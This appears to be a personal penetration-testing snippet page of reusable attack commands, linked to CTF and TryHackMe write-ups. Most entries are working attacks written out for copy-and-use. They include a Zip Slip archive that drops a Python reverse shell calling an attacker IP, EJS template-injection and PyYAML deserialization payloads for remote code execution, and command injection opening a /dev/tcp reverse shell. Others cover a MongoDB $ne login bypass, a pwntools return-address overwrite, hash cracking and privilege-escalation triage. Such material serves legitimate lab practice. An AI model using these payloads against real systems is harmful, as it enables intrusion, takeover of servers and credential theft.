M4cCrypt0
cat ~/snippets/*.md

command snippets

// reusable, tested command templates — recon, web exploitation, privesc, pivoting, forensics. Copy, swap the <placeholders>, go.

Zip Slip Payload Builder

Craft a Zip Slip archive: a valid manifest to pass validation plus a ../ traversal entry that writes a payload outside the extraction directory.

python
# Vulnerable extractors join the archive filename onto the extract dir without
# normalising it, so a "../" entry escapes. Pair a valid manifest (to survive
# app-level checks) with the traversal payload.
import zipfile, json

manifest = {"name": "reverse", "assets": []}
callback = '''
import socket, os, pty
s = socket.socket(); s.connect(("<attacker-ip>", 4444))
for fd in (0, 1, 2): os.dup2(s.fileno(), fd)
pty.spawn("/bin/bash")
'''
with zipfile.ZipFile("reverse-shell.zip", "w") as z:
    z.writestr("shell.json", json.dumps(manifest))
    z.writestr("../../hooks/callback.py", callback)   # escapes the extract dir

used in: Zip Slip to RCE: The Hollow Shell

Upgrade a Dumb Shell to a Full PTY

Turn a raw reverse shell into a fully interactive TTY — job control, arrow keys, tab-complete, clear — via the classic python-pty + stty dance.

bash
# spawn a PTY inside the dumb shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# background it: Ctrl+Z, then fix the local terminal and pull it back
stty raw -echo; fg

# re-set a sane terminal so clear/less/vim behave
export TERM=xterm

used in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail

EJS SSTI — Probe to RCE

Server-side template injection in EJS: confirm with a 7*7 probe, escalate to execSync command execution, then stage a bigger payload via base64.

text
# Values below go into the injectable template field (e.g. template=...).

# 1) probe — a reflected "49" proves the input is evaluated as a template
<%= 7*7 %>

# 2) RCE — reach Node's child_process through the template engine
<%= process.mainModule.require("child_process").execSync("id") %>

# 3) stage a real payload without quoting hell: base64 shell.js locally
#    (base64 -w0 shell.js), then decode + pipe into node on the target
<%= process.mainModule.require("child_process").execSync("echo <BASE64> | base64 -d | node") %>

used in: Byte Lotus — Poolside (Boot2Root, Medium)

SSH Reverse Port-Forward (Pivot an Internal Service)

Pull a service that only listens on the target''s loopback (e.g. an admin panel on 127.0.0.1:8080) back to your attacker box over SSH.

bash
# Run on the target (you need outbound SSH to your box). Afterwards the target's
# 127.0.0.1:8080 is reachable as 127.0.0.1:8080 on YOUR machine.
ssh -N -R 8080:127.0.0.1:8080 -o StrictHostKeyChecking=no <attacker-user>@<attacker-ip>

used in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail

PyYAML Deserialization RCE

When an app calls yaml.load() on attacker input, the object/apply constructor executes arbitrary code — here a straight reverse shell.

yaml
# Send as the YAML value the app parses with an unsafe yaml.load().
# !!python/object/apply calls os.system with your argument on load.
playlist: !!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'"]

used in: TryHackMe Resort write-up

Threaded Dictionary Hash-Cracker (hashlib)

Minimal threaded dictionary hash-cracker in pure Python — when you want to script it or match an unusual algorithm instead of reaching for hashcat.

python
#!/usr/bin/env python3
import hashlib
from concurrent.futures import ThreadPoolExecutor, as_completed

def matches(word, target, algo):
    h = hashlib.new(algo); h.update(word.encode())
    return h.hexdigest() == target.lower()

def crack(target, wordlist, algo="sha256", workers=8):
    with open(wordlist, encoding="utf-8", errors="ignore") as f:
        words = [w.strip() for w in f if w.strip()]
    with ThreadPoolExecutor(max_workers=workers) as ex:
        futs = {ex.submit(matches, w, target, algo): w for w in words}
        for fut in as_completed(futs):
            if fut.result():
                return futs[fut]
    return None

if __name__ == "__main__":
    print(crack("<target-hash>", "/usr/share/wordlists/rockyou.txt", "md5"))

NoSQL Auth Bypass ($ne Operator Injection)

Bypass a login backed by MongoDB/NeDB by sending a query operator instead of a password value — the check becomes "password not equal to null".

bash
# JSON login that injects an operator into the password field.
# The backend runs db.findOne({ username, password }) — {"$ne": null} matches
# any stored password, so authentication succeeds without knowing it.
curl -s -X POST http://<target-ip>/login \
  -H "Content-Type: application/json" \
  -d '{"username":"<user>","password":{"$ne":null}}'

used in: Byte Lotus — Poolside (Boot2Root, Medium)

Hashcat — Wordlist & Mask Attacks

Hashcat essentials: pick the hash mode with -m, run a dictionary attack, or fall back to a mask brute-force.

bash
# -m = hash mode: 0=MD5, 100=SHA1, 1000=NTLM, 1800=sha512crypt (see -h for the list)
# straight dictionary attack (-a 0)
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# mask / brute-force (-a 3): 8 chars, lowercase letters + 2 digits
hashcat -m 0 -a 3 hash.txt ?l?l?l?l?l?l?d?d

used in: Cheatsheet: tool overview

gobuster Directory Brute-Force

Threaded directory/file discovery with gobuster, with common extensions and output to a file. The Go alternative to ffuf/feroxbuster.

bash
gobuster dir -u http://<target-ip> \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -t 40 -x php,txt,html -o gobuster.txt

used in: Cheatsheet: tool overview

Command Injection → Detached Reverse Shell

OS command injection via an unsanitized parameter; setsid + input redirect detaches the reverse shell so it survives the HTTP response returning.

bash
# listener on your box
nc -lvnp 4444

# inject after ';' — setsid + < /dev/null & detaches the shell from the request,
# so it keeps running once the HTTP handler returns
curl -s -X POST http://<target-ip>/internal/netcheck \
  --data-urlencode "host=<attacker-ip>;setsid bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1' < /dev/null &"

used in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail

Pwn Recon — checksec + Cyclic Offset

First moves against a pwn target: read the binary''s mitigations (NX/PIE/RELRO/canary), then pin the overflow offset with a De Bruijn pattern.

bash
# which mitigations are in play?
checksec --file=./<binary>

# find the exact offset to the saved return address
pwn cyclic 200            # generate a pattern, feed it to the crashing input
pwn cyclic -l 0x<value>   # look up the offset from the value that landed in RIP/EIP

used in: Ret2Win with Stack-Alignment Fix (CET/SHSTK)

Enumerate Windows Autorun / Run Keys

DFIR triage: dump the common registry autostart locations where malware plants persistence.

powershell
# per-user and machine-wide Run / RunOnce keys
$paths = @(
  'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run',
  'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce',
  'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'
)
foreach ($p in $paths) {
  Get-ItemProperty -Path $p -ErrorAction SilentlyContinue |
    Select-Object -Property * -ExcludeProperty PS*
}

ret2win pwntools Skeleton

Minimal pwntools template for a classic ret2win: pad to the saved return address, then jump to the win function.

python
from pwn import *

elf = context.binary = ELF('./<binary>')
# p = process(elf.path)
p = remote('<target-ip>', <port>)

OFFSET = <offset>              # bytes from buffer start to saved RIP
win    = elf.symbols['win']    # target function address

payload  = b'A' * OFFSET
payload += p64(win)            # overwrite return address

p.sendlineafter(b'> ', payload)
p.interactive()

used in: Ret2Win with Stack-Alignment Fix (CET/SHSTK)

Nmap Full TCP Port Sweep + Service Scan

Two-stage recon: fast all-ports scan, then version/script scan only the ports that came back open.

bash
# 1) fast sweep of all 65535 TCP ports
nmap -p- --min-rate 5000 -T4 -oN nmap-allports.txt <target-ip>

# 2) pull the open ports from the sweep, then deep-scan just those
ports=$(grep -oP '^\d+(?=/tcp\s+open)' nmap-allports.txt | paste -sd, -)
nmap -sC -sV -p "$ports" -oN nmap-services.txt <target-ip>

used in: Nmap basics: host discovery and port scanning

Linux Privesc Triage One-Liner

First 30 seconds on a Linux foothold: SUID binaries, sudo rights, writable cron, and kernel version — before reaching for linpeas.

bash
# quick manual sweep before dropping tooling
id; sudo -n -l 2>/dev/null                       # current creds + passwordless sudo
find / -perm -4000 -type f 2>/dev/null           # SUID binaries (check gtfobins)
getcap -r / 2>/dev/null                           # file capabilities
grep -R . /etc/cron* 2>/dev/null                  # cron jobs (writable script = win)
uname -a; cat /etc/os-release                     # kernel + distro for exploit-db

ffuf Directory & Vhost Brute-Force

Content discovery with ffuf — directory fuzzing plus a vhost variant that filters on response size.

bash
# directory / file discovery
ffuf -u http://<target-ip>/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,204,301,302,307,401,403 -o ffuf-dirs.json

# virtual-host discovery — filter out the default page by size (-fs)
ffuf -u http://<target-ip>/ -H "Host: FUZZ.<domain>" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs <default-response-size>